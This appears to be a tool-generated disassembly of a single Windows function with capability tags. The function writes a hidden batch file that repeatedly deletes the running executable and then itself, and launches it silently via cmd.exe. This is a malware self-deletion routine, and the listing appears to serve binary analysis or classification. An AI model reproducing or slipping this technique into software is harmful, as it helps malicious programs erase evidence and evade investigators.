Function at 0x100016f8
Capabilities:
Create process on windows
Get common file path
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2668
call fcn.100010f0
lea eax, [ebp - 0x268]
push ebx
push esi
push edi
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov ax, word [ebp - 0x268]
lea ebx, [ebp - 0x268]
xor edx, edx
mov dword [ebp - 8], ebx
test ax, ax
je 0x1000175a
movzx eax, ax
xor ecx, ecx
cmp ax, 0x5c
jne 0x10001746
lea ebx, [ebp - 0x266]
add ebx, ecx
inc edx
lea ecx, [edx + edx]
movzx eax, word [ebp + ecx - 0x268]
test ax, ax
jne 0x10001738
mov dword [ebp - 8], ebx
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
xor eax, eax
mov word [ebx - 2], ax
call esi
push eax
push str._d.cmd
lea eax, [ebp - 0xe68]
push 0x400
push eax
call fcn.10003130
add esp, 0x10
call esi
mov ecx, ebx
mov dword [ebp - 0xc], eax
call fcn.10003150
lea edi, [eax + 1]
xor eax, eax
push eax
push eax
push eax
push eax
push edi
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push eax
push 0xfde9
call ebx
mov esi, eax
mov ecx, esi
call fcn.10003110
xor ecx, ecx
push ecx
push ecx
push esi
push eax
push edi
push dword [ebp - 8]
mov esi, 0xfde9
push ecx
push esi
mov dword [ebp - 4], eax
call ebx
lea ecx, [ebp - 0xe68]
call fcn.10003150
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
lea edi, [eax + 1]
push edi
lea eax, [ebp - 0xe68]
push eax
push ecx
push esi
call ebx
mov esi, eax
mov ecx, esi
call fcn.10003110
xor ecx, ecx
push ecx
push ecx
push esi
mov ebx, eax
push ebx
push edi
lea eax, [ebp - 0xe68]
push eax
push ecx
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov eax, dword [ebp - 0xc]
mov esi, dword [ebp - 4]
push ebx
push eax
push esi
push esi
push eax
push esi
push str.attrib__r__s__h___s__r_n:_d_r_ndel___s__r_nif_exist___s__goto__d_r_ndel__s_r_n
mov edi, 0x400
lea eax, [ebp - 0x668]
push edi
push eax
call fcn.10003160
add esp, 0x24
mov ecx, ebx
call fcn.10003120
mov ecx, esi
call fcn.10003120
xor ebx, ebx
mov esi, ebx
cmp byte [ebp - 0x668], bl
je 0x10001855
inc esi
cmp byte [ebp + esi - 0x668], bl
jne 0x1000184b
lea eax, [ebp - 0xe68]
push eax
lea eax, [ebp - 0x268]
push eax
push str._s_s
lea eax, [ebp - 0x1e68]
push edi
push eax
call fcn.10003130
add esp, 0x14
lea eax, [ebp - 0x1e68]
push ebx
push 0x80
push 4
push ebx
push ebx
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x10001955
push ebx
lea eax, [ebp - 4]
push eax
push esi
lea eax, [ebp - 0x668]
push eax
push edi
mov dword [ebp - 4], ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call esi
lea eax, [ebp - 0x60]
push 0x44
pop edi
push edi
push ebx
push eax
call sub.ntdll.dll_memset
mov dword [ebp - 0x60], edi
xor eax, eax
lea edi, [ebp - 0x1c]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
add esp, 0xc
stosd dword es:[edi], eax
mov edi, 0x400
push edi
lea eax, [ebp - 0x1668]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
mov edx, str.cmd.exe
lea ecx, [ebp - 0x1668]
call fcn.100031c0
lea eax, [ebp - 0xe68]
push eax
push str._C__s
lea eax, [ebp - 0x2668]
push edi
push eax
call fcn.10003130
add esp, 0x10
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x60]
push eax
lea eax, [ebp - 0x268]
push eax
push ebx
push 0xc000000
push ebx
push ebx
push ebx
lea eax, [ebp - 0x2668]
push eax
lea eax, [ebp - 0x1668]
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x10001955
push dword [ebp - 0x18]
call esi
push dword [ebp - 0x1c]
call esi
pop edi
pop esi
pop ebx
leave
ret